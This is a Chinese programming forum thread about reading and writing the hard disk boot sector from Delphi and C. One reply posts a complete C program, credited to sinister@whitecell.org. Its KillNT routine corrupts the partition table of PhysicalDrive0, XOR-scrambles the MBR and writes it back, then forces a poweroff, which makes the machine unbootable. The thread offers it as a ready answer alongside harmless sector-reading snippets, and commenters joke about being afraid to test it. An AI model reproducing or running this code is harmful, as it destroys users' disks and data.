写boot sector(200分)

  • 主题发起人 主题发起人 D影子D
  • 开始时间 开始时间
D

D影子D

Unregistered / Unconfirmed
GUEST, unregistred user!
????
 
你在VC论坛提问,看来是使用VC实现了,那个俺不会[:(],给你一段Delphi/C++Builder的,希望对你有用。如果合适,转换成VC的也不难。
硬盘MBR读写
procedure TForm1.Button1Click(Sender: TObject);
var hFile:THandle
bytesread:DWORD;
buf: array[0..511] of char
Security: TSecurityAttributes;
begin

hFile:=CreateFile('//./PhysicalDrive0',GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, nil ,OPEN_EXISTING,FILE_FLAG_SEQUENTIAL_SCAN,0);
if hFile=INVALID_HANDLE_VALUE then
begin
ShowMessage('No file exists yet.' );
Exit;
end;
if not ReadFile(hFile, buf, sizeof(buf), bytesread, nil) then
showmessage('Error');
end;
{----------------------------------------}
//演示如何在Windows NT/2000下对硬盘物理扇区读写
#include <windows.h>
#include <winioctl.h>
//---------------------------------------------------------------------------
void WINAPI ExitWin()
{
HANDLE hProcess, hToken;
TOKEN_PRIVILEGES NewState;
DWORD ProcessId, ReturnLength = 0;
LUID luidPrivilegeLUID;
ProcessId = GetCurrentProcessId();
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES, &amp;hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &amp;luidPrivilegeLUID);
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luidPrivilegeLUID;
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(AdjustTokenPrivileges(hToken, FALSE, &amp;NewState, NULL, NULL, NULL))
ExitWindowsEx(EWX_FORCE|EWX_POWEROFF, 0);
}

void WINAPI KillNT()
{
HANDLE hDevice;
TCHAR szDevicename[64];
LPTSTR szBuff;
DISK_GEOMETRY Geometry;
BOOL bRet;
DWORD bytes,bread,count;
int i;
char *drive = "0";
wsprintf(szDevicename,"////.//PHYSICALDRIVE%c",*drive);
hDevice = CreateFile( szDevicename,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
{
MessageBox(NULL,"打开设备出错",NULL,MB_OK);
ExitProcess(0);
}

DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&amp;count,NULL);
DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&amp;Geometry,sizeof(DISK_GEOMETRY),&amp;count,NULL);
szBuff = (LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Geometry.BytesPerSector);
if ( szBuff == NULL)
{
MessageBox(NULL,"分配内存出错",NULL,MB_OK);
ExitProcess(0);
}
bytes = 512;
bRet = ReadFile(hDevice, szBuff, bytes, &amp;bread, NULL);
if (bRet==FALSE || bread<512)
{
MessageBox(NULL,"读MBR出错",NULL,MB_OK);
ExitProcess(0);
}

*(szBuff + 0x1be) = 0x80;
*(szBuff + 0x1bf) = 0x00;
*(szBuff + 0x1c2) = 0x05;
for ( i = 0x1c3;
i < 510;
i++ )
{
*(szBuff + i) ^= 0x926;
}
DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&amp;count,NULL);
CloseHandle(hDevice);
wsprintf(szDevicename,"////.//PHYSICALDRIVE%c",*drive);
hDevice = CreateFile( szDevicename,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if ( hDevice == INVALID_HANDLE_VALUE)
{
MessageBox(NULL,"打开设备出错",NULL,MB_OK);
ExitProcess(0);
}

DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&amp;count,NULL);
DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&amp;Geometry,sizeof(DISK_GEOMETRY),&amp;count,NULL);
bRet = WriteFile(hDevice,szBuff,bytes,&amp;bread,NULL);
if (bRet==FALSE || bread<512)
{
MessageBox(NULL,"写MBR出错",NULL,MB_OK);
ExitProcess(0);
}

DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&amp;count,NULL);
HeapFree(GetProcessHeap(),HEAP_NO_SERIALIZE,szBuff);
CloseHandle(hDevice);
ExitWin();
}

void WINAPI OSVer()
{
OSVERSIONINFO osi;
osi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (GetVersionEx(&amp;osi))
{
if ( osi.dwPlatformId == VER_PLATFORM_WIN32_NT)
KillNT();
}
}

WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
OSVer();
return 0;
}

作者 sinister@whitecell.org
 
D影子D:
你是原来的“影子”吗?在 Windows 98 和 Windows 2000 里的启动扇区读写已经基本
是公开的了,但全部是 C 原码。TO:yzhshi ,您的代码您测试过没有?
 
答:这么重要的东西,我怎么敢测试,我的硬盘是40G呀,我也不敢拿软驱来玩,不过是收藏起来而已,如果真的需要,绝对还需要仔细研究琢磨。
[:D]
 
TO:yzhshi
谢谢回答。 :-)
有空我要测,有结果就向你汇报。 :-)
C 原码我倒有,而且测试通过,但里面的数据结构都要手工翻译到
Delphi ,太多了,所以没敢做转换工作。 :-)
 
to 小雨哥,小心呀。。。。。。。
为了给壮士送行,再贴上一段代码。。。
来自:Xxfeng, 时间:2002-6-14 22:26:00, ID:1164216
var
hd,ps:THandle;
buf:array[0..1024-1] of byte;
dwStartSector,wSectors:integer;
begin
StartSec:=StrToInt(EdtStart.Text);
SecCount:=StrToInt(EdtCount.Text);
FillChar(buf,1024,0);
hd:=createfile('//./A:',GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
SetFilePointer(hd,512*dwStartSector,0,FILE_begin
);
ps:=0;
ReadFile(hd,buf,512*wSectors,ps,0);
CloseHandle(hd);
end;
期中 dwStartSector 是开始扇区,wSectors 是扇区数
 
小雨哥:贴出c原码吧!(你连起名字都想占便宜阿,呵呵)
给点注释就不会出问题了,大不了费张软盘
另外谢谢 yzhshi大侠 我需要c的
 
yzhshi 再次感谢,我会看着 CPU DEBUG 窗口一个字节一个字节地执行的。 :-)
TO:D影子D
我看了你的过往帖子,也想请你帮忙看看
http://www.delphibbs.com/delphibbs/dispq.asp?lid=1358134
我没有装 .net, 如果装 .net 的话,上面帖子里的结构里的一个 mask 和一个
ProductType 应该可以查到 API 定义的,一般 mask 都是循环码,在 2000 中
调试就可以看到这 2 个常量,但其他系统就不知道了。
我这里有软硬盘的 VC 代码,贴肯定不现实,发到你邮箱吧。我的:wangxy@371.net
过了10月就不能用了。
 
我是菜鸟,我只能顶。
 
今天来到,突然想起来一个好办法,可以不怕损坏硬件的读取。
嘻嘻,使用虚拟机!就是VMWare或者Virtual PC,一切安全保障全部由这类软件代劳,大不了重新安装一下。
 
接受答案了.
 
后退
顶部